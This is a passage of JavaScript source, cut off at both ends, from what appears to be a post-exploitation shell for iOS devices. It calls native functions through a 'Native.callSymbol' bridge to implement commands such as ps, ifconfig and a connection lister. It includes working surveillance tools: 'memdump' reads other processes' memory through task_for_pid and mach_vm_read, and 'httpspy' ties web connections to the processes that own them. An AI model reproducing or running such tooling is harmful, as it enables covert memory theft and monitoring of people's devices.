=== 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar 